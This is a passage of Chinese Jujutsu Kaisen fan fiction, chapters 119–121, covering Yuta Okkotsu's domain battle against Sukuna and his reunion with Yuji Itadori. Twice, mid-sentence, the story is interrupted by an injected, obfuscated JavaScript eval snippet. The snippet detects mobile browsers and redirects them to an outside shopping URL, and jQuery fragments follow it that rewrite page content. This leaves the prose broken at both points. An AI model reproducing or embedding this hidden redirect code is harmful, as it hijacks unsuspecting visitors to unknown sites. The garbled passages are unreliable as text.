他看见了诅咒之王的嚎叫。身负咒纹之人的外表发生了恐怖的异变,一会儿像是变回了身为容器的咒灵的模样,一会儿又将不断挣扎着想要跑出体外的什么东西压制了回去。
“真是的,”重压和圣光扭曲了宿傩在乙骨忧太眼中的模样,可那道变化的身影却说明了一切,“不管在哪个时代,你们可都有够烦人的啊——”
四手两口,异形的身体恰恰在咒术的对战中完全占据了优势,手持武具的同时也能结成掌印,让咒词与讥讽之言一起传入对手的耳中。
斩击被送上天空的时候,天使敏锐地察觉到了这次攻击的与众不同。无形的斩击扭曲了空气,连降下的光也被切得粉碎。天使的声音比方才焦急了数倍,试图用这种态度拎着来栖华躲开这张网。
被碰到的话就完了——连来栖华都能感受到它致命的威胁,迅速向旁侧飞去,“雅各布天梯”也随着她的离开从源头开始熄灭。
“他恢复原身了!!”
“四只手臂?!!这不是一看就知道了吗?!!”来栖华用出了毕生的力气让自己逃出了那张网......她庆幸自己为了全力施展术式而飞得足够高,宿傩的攻击也因为灵魂受到冲击而不那么完美。
面甲覆盖住了被乙骨忧太的“捌”伤到的右颊,可怖的猩红副眼扭动,落在了终止了术式的黑发少年身上。
诅咒之王咧开了嘴,了然地笑了出来。
119. 第 119 章
不适合用来剪头发的剪刀在虎杖悠仁手中还算乖巧,但受制于不那么合适的工具,修剪出来的发型谈不上有什么造型,只能说不至于影响视线或者总是扫到脖颈。
“好厉害啊!”乙骨忧太左右转头,在镜子中看着长度刚刚好的发尾,再一次感叹道:“好厉害啊悠仁。”
虎杖悠仁被他直白的夸赞击中,鼻子简直要昂到天上去:“勉勉强强啦~”
粉发少年转到了乙骨忧太的正面,挡住了他望进镜子里的视线,准备给他修修刘海。倔强的头发们已经找到了各自最舒适的位置,被打湿的发丝一缕一缕地微翘着。
虎杖悠仁用掌根将它们完全推了上去,把额头露了出来。
“......?”
乙骨忧太瞪着眼睛疑惑地看着他。
虎杖悠仁凑得近了一些,一本正经地指着他眼下的地方说道:“忧太,为什么你这里总是红红的?也不是黑眼圈啦,看起来总像是刚刚哭过一样。”
“有吗?”手掌下的头扭了扭,乙骨忧太有点不太好意思地向后退了一点。
虎杖悠仁郑重地点头,并且用一种惊奇的语气叹道:“你看!现在越来越红了!”
“诶......啊、这个......”乙骨忧太向后仰着头,实在没办法用其他方式来“逃避”所以干脆直接闭上了眼睛。
身前的人根本没有意识到他们凑得有点太近了。
“......我说,你不会在想什么很失礼的事情吧?”虎杖悠仁的语气中带着一点打趣似的笑意。
乙骨忧太抿着嘴,不想否认也不敢承认。
“这有什么嘛,”虎杖悠仁微微退开了一点,松开手让那些黑色的湿发重新落了下来,用梳子调整着它们的位置,比划准备剪掉的长度,“你想听的话我说多少次都可以哦。”
“......那有点太......”
“还说自己坦诚,”虎杖悠仁用手挡住了刀刃,乙骨忧太只能听到咔嚓咔嚓剪断头发的声音,“夸人的时候倒是没见你觉得不好意思诶......别乱动啊!吓我一跳......你怎么了?”
虎杖悠仁拿开剪刀,他的腰被乙骨忧太完全揽在了怀里,直接将湿哒哒的头发蹭上了外衣。
刚被剪断的碎发扎得人有些刺挠,不知道是不是某种错觉,虎杖悠仁觉得乙骨忧太最近有点......粘人?联想到那个时候还有点爱咬人的癖好——
“你是狗狗吗?”
乙骨忧太的声音闷闷的:“才不是啊。”
只是有点不安。
“压力很大?”
拂过后脑的手掌很热乎,没过一会儿乙骨忧太的脑门也被捂得满是湿热的潮意。
“结果还是让你夹在中间了,”耳朵能够听到那个人体内的声音,像是血液在流动、说话时的震动共鸣都通过皮肤和软骨传了回来,“抱歉。”
乙骨忧太摇摇头:“不是因为这个。”
“那,我爱你?”
身前的人挣开了他的怀抱,蹲下身,让视线与他齐平。
虎杖悠仁挠了挠脸颊,指尖被皮肤的灼烫吓了一跳,但他不知道自己的眼中闪着什么样的光,让乙骨忧太一下就被吸住了:“关于这件事嘛......直接说出来的确蛮令人觉得不好意思的,不说的话又会觉得不安......我们做个约定吧!如果你想要确认的时候我就会说出来的,说多少次都可以哦。”
他想让乙骨忧太习惯他的喜欢,将更深沉的、更可怕的爱当做惊喜送给对方。
只不过,这反倒让虎杖悠仁自己变得疑惑了起来。
那些亲吻、拥抱、不肯错开的眼神总是让人欣喜,但为什么每当他想起爱的时候却总会留意到其中那不易察觉的悲伤?仿佛杞人忧天一般担心着它不够长久,惧怕着结束所以不敢开始,是因为它与自己的心、自己的灵魂纠缠不休吗?
这下还怎么轻易分辨爱和诅咒的区别啊。
所以他拉过乙骨忧太的手腕,将那个他亲手编成的手链露了出来,木制勾玉上满载着他的咒力。
因为语言蕴含着力量,所以心思纤细的人总是更沉默一些。
如果有一天它们不会再真的变成诅咒——
“我爱你哦。”
“......”
乙骨忧太单手握拳覆于掌心,漆黑的眸子里终于映出了点不同寻常的东西。
——我喜欢那种大团圆结局的爱情电影啦,只是看得时候喜欢这种结局,但让我拍电影的话还是会喜欢不那么圆满的结局吧?
——诶?为什么呢?
——听故事的人和讲故事的人虽然都是我,但也都不是“我”。一些话我不会亲口说出来,却希望它们出现在我讲述的故事里。至于听故事,大家当然都喜欢轻松一点的故事吧?毕竟令人沮丧的事总是发生在现实中啊。
——......诶。
——好平淡的反应?!啊,总之,就是说......你会一直看着我的,对吧?
“——领域展开。”
大部分领域的结界内外面积是不相等的,从外部看闭合的漆黑结界最多也只有半径二十米左右的范围,但内部实际的空间面积却要比这个大得多。
赤红的水引联结着天空,高大的白色十字结构深深扎根于大地,墙面和地面上插满了各式各样的武士刀。
“我猜也是,”宿傩仅用双手结印展开了‘弥虚葛笼’来抵挡赋予领域的术式的必中效果,剩下的双臂叉腰,了然地望着周围的景象,“没点真本事的话就只是个没脑子的莽夫罢了。”
这个感觉......交给领域的术式应该是天使的那个“雅各布天梯”吧,还算是个聪明的选择,如果不打算同样展开领域对抗的话就只能用“弥虚葛笼”来中和必中效果了。
“那就稍微来玩玩吧。”诅咒之王轻蔑地扬起头颅,看着黑发少年拔刀冲向了自己,不知道是式神还是过咒怨灵的家伙也配合着攻过来了。
——你的外套袖子会不会有点太短了?看着好冷!
——还好吧?习惯了就还好,太长的话会影响挥刀的。等到下雪的时候会换更保暖的衣服,别担心。倒是你,脚腕不冷吗?
——没什么感觉呢!
——好吧。
总之就是对对方的穿衣风格各有一些小小的意见,但又不是真的讨厌那些小细节,反而有的时候会觉得很喜欢。
有点矛盾呢。
摸到的刀上附着的术式是【星之怒】,质量的提升让乙骨忧太挥刀的力道势不可挡,宿傩拦住了锋利的刃尖,却依旧在巨大的冲击力下向后倒飞了出去。被使用过的刀具从乙骨忧太的手中消失,又重新出现在了远处。
诅咒之王抬手摸到了从后方看似接住了他、实则为了将他困在原地的白色式神,恐怖的斩击紧贴着皮肤被释放了出来,终于切开了它坚硬的防御。
“好痛——!”
它吃痛,但没有放开手。
乙骨忧太手中只剩下了一把刀,而宿傩的落点附近没有其他的刀具。下一个术式是什么?重力?咒言?还是他的【御厨子】?
答案出人意料。
乙骨忧太的领域能在储存起来的术式之中选择其一赋予给领域,剩下的术式将随机附着至领域内的刀上,只有他本人拿起时才能发挥其效果。具体哪一把刀会拥有哪个术式,乙骨忧太也只有将其拿到手中后才能知晓。
宿傩在进入这个领域后,仅凭乙骨忧太的一次进攻就大概搞明白了“真赝相爱”的运行方式,每把刀上的术式只能使用一次,但领域内刀具的数量是没有上限的。
他的绝对自信在此刻反而拌了他一脚。踉跄一步,再抬头,重拳已经迎面而来。这一拳切切实实地正中目标,排山倒海般的力量完全将他压了下去。
这是......和刚才那把刀上的术式一样——!
哪怕是诅咒之王,在被【星之怒】正面击中后也没办法再维持方才那副云淡风轻的模样。
原来如此,这家伙不是把储存起来的术式“给出去”了,那些刀上的也全都是复制体!因为乙骨忧太手上还有一把刀,于是思维惯性让宿傩认定下一个术式不可能再是【星之怒】,但黑发少年恰恰利用了这一点,打了他一个措手不及。
还有刚才的那一个踉跄。
乙骨忧太与里香乘胜追击,宿傩活动了一下受创的下巴,狰狞又恶狠狠地笑道:“看你干的好事,小鬼。”
迈步的那一瞬间,他的身体忽然被附加了远超想象的重力,这才产生了一瞬间的破绽。这是被他吞入腹中的“咒物”与领域内的乙骨忧太共同完成的一次合击。
一只猩红的副眼扭到了一侧,紧盯着疾驰在领域内复杂地形之中的乙骨忧太和他身后那白色的式神。
那种眼神......有了让人不爽的光。
乙骨忧太挥刀,目标直指宿傩的手腕。为了维持“弥虚葛笼”,他必须时刻让双手保持结印的状态,多少还是会对行动造成一点影响的。
宿傩不用领域对乙骨忧太来说是个好事,尽管不知道他究竟是不屑于使用还是有其他的原因,现在只要破解了他的“弥虚葛笼”就能让自己的领域对他造成重创。
“真赝相爱”内的“雅各布天梯”一定能够彻底消灭他!
——
爱是无趣的东西吗?
也许吧。
伏黑惠在円鹿的反转术式治疗下勉强恢复了体力,胀相带着他走了足够远,现在九相图兄长已经和日车宽见追到了漆黑的浑圆结界之外,焦急地等待着最终的结果。
忽然出现在伏黑惠身后的人影让他重新警惕起来,却在看清来人的面容之后瞪大了眼睛。
白头发的少年连笑容都和冥冥一模一样,他收起了白布,什么都没说。
展现在伏黑甚尔眼前的森林几乎完全变成了平地,树木倒伏,相互叠压在一起,远处黑色的圆球在银月照耀下光可鉴人。
“领域啊。”伏黑甚尔甩掉了碍事的外套。
“......呃,”那个称呼几欲脱口而出,但话到嘴边却被时间堵了回去,“那个是乙骨前辈的结界,宿傩就在里面!”
伏黑甚尔接过了他寄存在影子里的释魂刀,活动身上的肌肉,脑袋向更远处完全变成一片极寒地狱的方向歪了歪:“那边是什么情况?”
“先把宿傩的问题解决掉,那边暂时没关系,”伏黑惠越过了他的问题,得到了天与暴君的一个挑眉,“你......”
伏黑甚尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378258|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的回答其实并没有超出伏黑惠的预料,或者说他也早就习惯了不去期待任何有可能需要他付出更多信任的回答。
“诅咒之王?正好,这具身体还没遇到过什么正经的对手......那条章鱼不算,”伏黑甚尔将刀扛在了肩膀,说着就准备向领域的方向走去,“是我赚了啊。”
只是最后的这句话一出口,伏黑惠明显愣了一下,而说这话的人悄无声息地消失在了他的眼前,仿佛从未出现过一样。
一个从没赢过的赌|鬼居然觉得自己赚了?
伏黑惠摁了摁已经几乎完全恢复了的伤口,起身和带着伏黑甚尔过来的忧忧问起西宫桃的位置。
胀相警惕着突然从他们身边冒出来的伏黑甚尔,他还记得涩谷的时候这个大猩猩可是直接奔着悠仁和乙骨他们去了,在确认对方的立场之前......伏黑甚尔没有开口或者寻求合作的意思,他从最开始就独来独往,死的时候也是。
不会被领域结界捕捉到的身体让他悄无声息地潜入了立体十字架构成的白色丛林之中,包括诅咒之王和领域的主人在内,没有人注意到这个“异端”。
虎杖悠仁的双脚仿佛陷入了流沙之中。一望无际的沙原上,脚下的沙子一定会被太阳晒得发烫,不容拒绝的吸力带着他不断下陷。深入沙面之下的脚踝已经开始感受到从四面八方挤过来的压力,他清楚地知道眼前的一切,包括自己的所有感受都不过是宿傩为了尽快“消化”他而创造出来的,亦或者是他过于丰富的想象力自我幻想出来的环境。
虽然这么说感觉有点像在套娃,但他现在究竟是什么状态呢?封印着灵魂的咒物?就像宿傩的手指和让古代术师们受肉的那些咒物一样?他有可能......反客为主吗?
“别痴心妄想了,小鬼!你和俎上鱼肉无异,接受自己的命运吧。”
虎杖悠仁迈动如同灌了铅一般沉重的双腿,无论这具身体的主人让他看到了什么、听到了什么,哪怕那些恶魔一样蛊惑的低语被直接灌入大脑,他也绝不理会。
当双眼与双耳全都不能相信的时候,想要挣扎就只能相信自己的心。
以及绝不背叛自己的灵魂。
他知道宿傩在看着。
“命运,”他说道,“过去我也把命运看得太重了,觉得哪怕这世上没有神佛,也一定有个什么存在能够操纵我们每个人的人生,把命运或者宿命之类的东西强加在人身上。”
所以才会去追求正确的事,因为觉得只有正确的死亡才算是命运的终点。
“......”
“但其实不是这样的。记忆里熟悉的人会变,用童年体会过的老家会被翻新,但绝不能说他们不曾存在过。一个人必定会为了生存之外的目的做什么事,也许除了他自己再也没人知道,但这也就是他们真正存在过的价值。”
生命的意义绝非那片刻、甚至称不上具有持续时间的“结束”。要是一个伟大的人没能得到正确的死亡,怎么能说他的一生毫无意义呢?!
只要这个人说的话被风听到,他的所作所为被太阳与月亮看见了,只要这样的碎片曾经存在过,那他的人生就是有价值的。
诅咒之王嗤笑他的天真想法。看他百折不挠、无论如何滑稽都要继续挣扎的模样还以为能有什么振聋发聩的想法,结果就只是一个天真又幼稚的小鬼。
只要人还在乎自己的价值,他们终究还是会想要通过他人来得到满足。但是宿傩从未思考过要从旁人身上得到什么满足感,没什么目的也没什么理由,想吃就吃,碍眼就杀,碰到有趣的就稍微拿来消遣一下。人类善变的心思让他们的滋味多种多样,当作有生之年的消遣正正好。
“那你为什么还要和羂索签订契约,不惜分割灵魂也要穿越千年来到现在呢?为什么哪怕借助咒灵的身体也要受肉,还要继续诅咒这个世界呢?!”
居然还大言不惭地说什么有生之年?!若真的接受了死亡,认为人生了无遗憾的话,为什么还会这样期待着“来生”?!
声声僭越的质问只得到了诅咒之王无所谓的回答:“因为我想做就做了,哪来的那么多理由。”
不过是随心所欲地活着,如果有人觉得他不可理喻,那是他们的问题。
偶尔就是有这样的存在,了解之后也依旧觉得讨厌,哪怕通晓了心意也无法相互理解。拒绝沟通的禅院直哉和天元如是,羂索与两面宿傩更甚。
虎杖悠仁收敛了身上的愤怒,留下了一个说不上毫无波澜,但却很奇怪的表情。他头也不回地向前,代表着诅咒之王的灵魂仍站在原地戏谑地注视着他决绝的背影。
只是慢慢的,宿傩觉察出了一点不太寻常的味道。
这小子,该不会——?!
那张脸上不再有憎恨,没有绝望与滑稽,决绝是宿傩已经看腻了的表情,但除此之外虎杖悠仁的神情中还夹杂着点别的什么。
若深挖记忆,千年前倒也见过类似让宿傩难得觉得不解的表情。那男人......还是女人来着?他早就记不清了。那个人没什么本事,只是在他消遣的时候偶然碰到,便露出了这般表情。
诅咒之王的脸骤然变得狰狞起来,他终于从虎杖悠仁身上看明白了那副表情的真正意义:“你们在——同情我?!!”
120. 第 120 章
乙骨忧太的动作速度更快了。
大道纲挥刀的身影始终在他心头挥之不去,无名剑豪身上有着他无法企及的自由和纯粹。
他的手握上身侧的刀,“诛伏赐死”的术式在领域内被异化成了全新的模样,闪耀着光芒的十字细剑重新出现在了乙骨忧太的手中。
不需要重审开庭,处刑人之剑再度现世。
宿傩的动作不知为何变得僵硬了起来,似乎身体沉重到每一步都会在地面上留下深深的踏痕,乙骨忧太自然不会允许自己放过这个机会。
“......别太滑稽了!!!小鬼们!!!”宿傩突然怒不可遏,仿佛与生俱来的高傲和唯我独尊的灵魂被人打了一巴掌,这般羞辱让诅咒之王肆无忌惮地向着原本的消遣倾泻起滔天的怒火。
乙骨忧太瞳孔一缩。
宿傩放开了维持“弥虚葛笼”掌印的双手,指节的位置变换,结成了全新的印。
黑发少年瞬间逼近,在毛骨悚然的恐怖预感变为现实之前将手中的处刑人之剑刺了出去。
出剑的位置不太好......剑一出手,乙骨忧太便认识到了这一击的局限。
但挥剑只需要一步,那就没什么可犹豫的了!!
细剑的尖端直奔宿傩的头颅而去,在降下死亡之前的刹那被一只手掌挡了下来。切实刺穿肉|体的触感让乙骨忧太的心脏狠狠跳了一下,可随之而来的便是突然变轻的剑尖,他像是一个坏掉的、头重脚轻的不倒翁一样感受着平衡的变化,看到了挂在细剑上的一只断掌。
“弥虚葛笼”和处刑人之剑同时消失,瞬息万变的战况让乙骨忧太根本来不及为自己的失策和宿傩可怕的战斗直觉惊叹,他手中只剩下了仿自释魂刀的武具,身边抓不到附着着术式的刀。
所以他毫不犹豫地放弃了挥刀,将战斗中不断积聚的“感觉”完全释放了出来,抓住了那一闪而过的灵感,挥出的拳头上隐隐冒出了黑红色的咒力。
迫近咒力核心的进攻突破了诅咒之王的防御,正中他的胸口。
挂在手腕上的黑色绳子与勾玉闯入了宿傩的视线之中。浮于表面的咒力让沉重的身体更令人生厌,来自黑闪的重击使宿傩的动作出现了细微的停顿,展开领域的掌印虽已结成,但该出现的东西却没有及时出现。
......这个容器还是太脆弱了。晃神的片刻,宿傩萌生了先转移到新容器身上的想法。
猩红的眼睛重新变得锋利起来,他抓住了乙骨忧太的双臂,腹部的口说道:“捌。”
正极能量在接触到宿傩之前就随着骨血被自内而外切得粉碎,宿傩顶着被赋予了必中效果的“雅各布天梯”,狞笑着要将地狱的风暴带到人间。
受制于容器的质量,现在宿傩没办法将“伏魔御厨子”完全显现出来,但在他的力量完全回来之前,用它来对付即将陷入术式熔断期的乙骨忧太也足够了。
“领域——”
时间仿佛被定格了。
一把刀从宿傩身后当胸穿过,透体而出的刀刃蹭着乙骨忧太的脸擦了过去,只要再偏上半分就能将他的头颅也一并串起来。
是谁?!为什么这个领域里还会有第三个人?!
伏黑甚尔这一刀手感很好,位置也正中心脏。
“......?”宿傩扭头将他看在眼里,迅速意识到了刺穿心脏的这柄刀的不同之处。
伏黑甚尔手里这把是货真价实的释魂刀,它造成的伤害能够无视一切防御,贯穿灵魂。
“这场景还真是让人怀念,”这玩意儿在能看穿灵魂的人手上能发挥出更大的作用,但现在的这种情况倒也无所谓了,伏黑甚尔凶狠地笑着说道,“有的时候该走就得走啊。”
同为死而复生之人,伏黑甚尔看待第二次人生的态度和其他古代术师们不太一样。活着不错,死了也就痛痛快快地走,若说唯一有什么还能牵动那颗被磋磨得不会再有什么反应了的心的话,现在他也亲眼见过了。
而且,做人太贪心是会遭天谴的。
“天与咒缚吗?混到结界里来了啊。”宿傩直接向前摆脱了释魂刀,抬脚踢开了正在全力运转反转术式恢复手臂的乙骨忧太,黑发少年被式神接住,追击而来的斩击将他们同时贯穿。
伏黑甚尔的天与咒缚完全摒弃了咒术,他的存在就像是对所有依赖于咒力的术师宣告:比起他们引以为傲的咒术,骨和血才是真正的根基。和天与暴君的战斗可以称得上是一场“捍卫术师尊严”的战斗,连宿傩都未免因此觉得兴奋了起来。
里香的手掌从乙骨忧太的脑袋前挪开,黑发少年拍了拍它:“谢谢你,里香。”
宿傩瞄准乙骨忧太的大脑发出的斩击强度远超其他地方,他的目的显而易见,而乙骨忧太也同样选择了将更多的咒力集中在头面和双臂来阻止他被直奔大脑的斩击夺走生命......伏黑甚尔刚才那一刀要是捅的大脑就好了。
不,最该质问的应该是他自己!分明每拖一秒悠仁的情况就更糟糕一分,他手持处刑人之剑和雅各布天梯这两个杀器却没能做到任何事!!
仿佛察觉到了他痛斥自己的悔恨与无能为力,高大的式神呼唤着他的名字:“忧太、忧太——”
乙骨忧太从它的臂弯中脱离,眼神中亮起了可怕的光。双目炯炯,跨越千年继承自先祖的天赋在此刻完全爆发……谁叫菅原道真死后成了怨灵呢,也许他这一身诅咒之力就是这么来的吧。
全部、全部。
我的骨血、我的灵魂、我的——爱(诅咒)。
宿傩感受到来自领域内必中术式的压制增强了几分,原本因为伏黑甚尔的出现而升起的一些“使命感”也在灵魂的摇荡中烟消云散。现在不是个好时机,如果伏黑甚尔还能在接下来的战斗中活下来的话,他倒是不介意和这个达到肉|体极限的男人再打一场。
掌印结成,外形狰狞的神龛显现,“伏魔御厨子”的边界向外蔓延之时,宿傩看到了乙骨忧太的目光。
“我要杀了你。”黑发少年再一次如此宣告。
“——无论付出何种代价。”
这样的话两面宿傩早已听烂了,千年前也有一批又一批不自量力的人在他面前大放厥词,但他们全都被他当场斩落。
不过是一群满足于自我陶醉的家伙。
“伏魔御厨子”的领域范围内将再现无休止的斩击风暴,不管是生物还是建筑都会在里面被切得粉碎,哪怕是伏黑甚尔也一样。
无所谓会不会被领域捕捉,只要存在于此就绝不可能逃脱。
乙骨忧太的领域从结界对抗交锋之处寸寸碎裂,“真赝相爱”的溃败似乎已经预示了所有人的结局。
宿傩期待着千年前的景象再现。
乙骨忧太的身上同样咒力高涨,但在诅咒之王眼中也不过是垂死挣扎罢了,领域破碎、术式熔断,咒术师们早已回天乏术,就算再怎么……
“......哈?”宿傩难得露出这般惊讶的模样,随即便反应了过来,面目狰狞到仿佛要把什么人拨筋抽骨再狠狠塞入嘴中嚼烂,如今这副凶神恶煞的模样倒是更像传说中诅咒之王应有的样子:“——虎杖悠仁!!!”
乙骨忧太从容地站在了“伏魔御厨子”之中。
不断有斩击破开他的防御在皮肤上留下切痕,但也仅限于那一条条红通通的血印。
他抬手,体表所有可被看到的咒力全都涌向指尖,与此同时反转术式也在一刻不停地从密密麻麻的斩击中拯救着他。
“伏魔御厨子”的咒力输出居然被压制到了前所未有的低迷状态,本应将领域范围内一切存在都切成齑粉的斩击风暴竟然没办法撼动任何人。
区区一个承载力量的容器,带有灵魂的咒物而已!!虎杖悠仁的灵魂居然能够和他抢夺这具身体的控制权?!
乙骨忧太已经完成了咒力的聚集。他的术式的确已经进入熔断期,只是这满身庞大的咒力在进行领域展开后还能继续调动起来。
宿傩挑眉。他觉得滑稽却没办法像往常那样自如地嘲笑,觉得疑惑可又不想知道答案。纵然这个黑发少年天资卓绝,但在领域展开后剩下的咒力也绝不可能聚集到连他都隐隐感觉到一些压力的地步。
领域破碎后,夜幕完全拉开,咒力乱流搅动着这片区域所有脱离大地怀抱的碎石木屑,它们被带到了空中,紧接着又被无形的锋刃切得稀碎。涡流中心的乙骨忧太抬手,遥遥指向了宿傩的方向。
“呵呵、哈哈哈哈哈哈哈——你这家伙!!”把自己当成了祭品换来了无上限的咒力?!还是结成了某种该死的束缚?!
未曾被咒术世家记录下来的炙热火焰出现在了诅咒之王的掌中,经过了“解”和“捌”的烹饪过程,无视体内另一个灵魂的垂死挣扎,竈的门户第一次向此间所有注视着这里的人敞开。
虎杖悠仁再也压不住宿傩的咒力输出效率,诅咒之王用更极端的束缚反制了他。
这就是最后了。
无上限的咒力攻击和来自诅咒之王的极致爆燃,究竟谁能够彻底震撼这片大地,就用接下来的这一招来见分晓!!
乙骨忧太的脸上没有孤注一掷的决绝,反而一片坦然,仿佛就像每天早上起来要拉开窗帘一样自然而平淡。他看起来似乎已经忘记了在深池边脱口而出的誓言,也不记得顾及任何他需要考虑的事,此时此刻,他全心全意将自己交给了这最后一击。
附带着高温的咒力蔓延至了“伏魔御厨子”内每一块被切碎的尘屑,只需要一丁点摩擦、碰撞,通天的火光和瞬间压制住一切声音的轰鸣便爆发了。
所有人都能感觉到脚下的地面“跳”了一下。
难以置信的光热伴随着致使地面塌陷的冲击荡平了周遭的缓冲地带,靠近内部的树木被高温点燃又即刻因为缺少了助燃物而熄灭,被风压冲得径直折断。
离得最远的伏黑惠看见了冲天而起的光焰,他分不清那是火还是被照亮的咒力,裹挟着尘屑碎木的冲击波席卷而来的时候,他不得不伏倒在地面上才抵挡住了那可怕的力量,密集的风压得他喘不过气来,鼻腔瞬间被焦糊味填满。
来栖华在天使的提醒下飞得足够高,但冲击依旧没有放过她。看气浪沿着爆炸中心一圈圈地向外扩散,摇摆的树冠让她想到了一遍遍冲刷着崖壁的海浪。
“......这、这都是什么啊?!”她的耳朵嗡鸣着,视野中央还残留着晃来晃去的白色光斑。
“华!不能让堕天有逃脱的机会,再用一次术式!!”
少女应着天使的话开始下降高度,向爆炸最中心处的位置移动了过去。
那里已经变成了一片焦土,光秃秃的地面上留下了骇人的坑馅,不断有焦黑的浓烟摇摆着在空中画出了它
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378259|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们无法宣之于口的事。
“乙骨——?!”她喊着黑发少年的名字,但想要在那样恐怖的爆燃中活下来......来栖华举起了号角,光阵在头顶不断扩大着。
“......你说爱是无趣的。现在你亲眼见到了,又作何感想?”
“你称之为‘爱’?我本以为你不会说得这样庸俗,这种称呼更让它无趣至极。”
“也是,”虎杖悠仁说道,“这么说倒还真是让人觉得有点肉麻,而且我也稍微有点火大。但......这正是我想让你知道的,宿傩。”
诅咒之王双手抱臂,一副随便你说什么都好的模样。
“你觉得人类群聚而生只会变得弱小,但没有生物生来就可以独自生存下来的。哪怕是你也一定有过脆弱到不依靠别人就活不下来的时候,无人照料的婴儿是绝对没办法长大的。”
这倒是件新鲜事,宿傩想。他在母体的腹中为了获得足够的养分而吃掉了自己的同胞兄弟,他至今对此仍有印象,但脱离母体后的事反倒一点都不记得了,能够从脑袋里扒拉到的最早的记忆也是被当做不祥之子忌惮着的时候。
粉发少年蹲了下来,凝望着脚下的深池水面,此刻它们正激烈地摇荡着:“仅仅只是相互注视着就能生出勇气,在我心中爱是和理想同样美好的事物。”
理想。超越自身能力极限之物,宿傩从未想过这些,也不曾想过要了解秉持理想而来到他身前的咒术师们为何有勇气挑战不可能战胜之人。
虎杖悠仁摁了摁胸口,回头望向一脸无所谓地沉思着的诅咒之王,将手深入了漆黑的池水中:“也许只有了解弱小才能真正理解何为强大吧。你太强了,宿傩。你的强大让你完全与理想和爱无缘,你所谓的理解爱大概也是某种过度自信下的自以为是吧?”
他顶着宿傩终于被激怒的眼神继续说道:“还剩下最后一根。你该祈祷我不会太快死去,不然仅剩的一根手指也没办法联系灵魂的吧?我不会吃掉它,如果你还有机会再来一次的话,好好体会弱小的感觉吧。”
诅咒之王未发一语,却绝非就这样接受了自己已经落败的事实。他的确得好好期待着这个小鬼不会轻易死去,亲眼看着虎杖悠仁被自己天真的理想和所谓的爱彻底拖入地狱才能让他继续大笑着诅咒这个世界!!
猩红的眼睛沉入黑暗,却并未完全闭合。投向那道身影的视线其中一瞥牢牢黏在了粉发少年的身上,除了预见悲惨结局的恶意之外,似乎终于掺杂上了一些别的什么。
光击碎了始终笼罩在虎杖悠仁身边的黑暗,他只觉得身上一轻,眨眼间就来到了一片全然陌生的地方。
“......啊,”被人狠狠拉进怀里抱住的时候,他有点呆愣地说道,“这景象还真是有点夸张了。”
以他们为中心,半径百米的范围内已经被夷为平地,连一丁点肉眼可见的碎木岩石都没有留下。鼻尖嗅到了可怕的铁锈与被火燎过的味道,虎杖悠仁抬手同样用力回抱了过去。
紧贴着他的胸膛跳得太厉害了,宛如即将溺亡的人终于被允许抬头呼吸一口新鲜的空气,勉强延续了生命。
虎杖悠仁的一只手中攥着带出来的手指咒物,只好换另一只手抚上了那头黑发,轻之又轻地在乙骨忧太耳边说道:“我都看见了......抱歉让你担心了,对不起。”
失而复得,乙骨忧太不知该如何形容自己的心情。这般萦绕着狂喜与安定感的心情他早已体会过,只是如今仿佛旧事重演般再来了一次,他庆幸自己没有彻底失去虎杖悠仁的同时又感受到了一股可怕的、足以将他彻底颠覆的恐惧。
“不,别这么说悠仁,”他强忍着身体的颤抖让自己提起精神说道,“......太好了......你没事真是太好了......”
虎杖悠仁稍微退开了一些,将那些碍事的手指收起,双手捧着乙骨忧太的脸不允许他逃避:“那你给我说清楚!束缚?!什么代价?!”
直到这时乙骨忧太才惊觉自己的身体方才凉得可怕,温热的手掌像是冬天的暖炉一般缓解了他被恐慌冻僵的心。
“不是束缚,”乙骨忧太攥住了那双手,眉眼间僵硬的表情终是融化了,带着一点不太好意思的语气说道,“一时间想要说明还是有点......之后我再和你解释吧。”
他带上了几分哀求,这样的态度让虎杖悠仁根本不敢放过他,强硬地要求他现在就说明白。
咒术有的时候很死板,但有的时候又像是命运一样捉摸不透。
乙骨忧太给出了自己的全部,他的身体、灵魂,和他的爱。但是它们又都被送了回来,因为他想要将之献上的存在视其为不可多得的珍宝,比起彻底地占有他们,他更想在未来的时间里和他共享这些宝物。
虎杖悠仁微微瞪大了眼睛。
“......但是这怎么......”
当事人倒是看得很开,被虎杖悠仁上下摸了个遍确认除了那些斩击的切痕和烧伤之外再没有其他的“惩罚”,粉发少年还是有些不太放心。
乙骨忧太摇了摇头,终于露出了一个笑容:“别想太多了,悠仁,难道你不知道自己对我来说意味着什么吗?我们还在彼此身边,这才是最重要的事。”
大概没什么束缚也没什么献祭之类的,无上限的咒力是家人的礼物,至于剩下的……谁知道呢。
121. 第 121 章
没有太多时间留给他们庆幸这一次劫后余生,乙骨忧太感知到了里香那里传来的异样,他抬头看了一眼,天空中的两道身影跃入眼帘,心下了然。
白色的式神向着远离他们的方向飞去,乙骨忧太拉住了虎杖悠仁。
粉发少年最先被斩断的手臂和脚腕已经恢复如初,他正想着还得把里梅的事情解决掉,忽然听到乙骨忧太说:“我们得走了,悠仁。”
乘着扫帚的西宫桃抹掉了因为透支咒力赶路而溢出的汗水,叹道:“勉勉强强赶上了啊。不过你后面的翅膀是真的吗?”
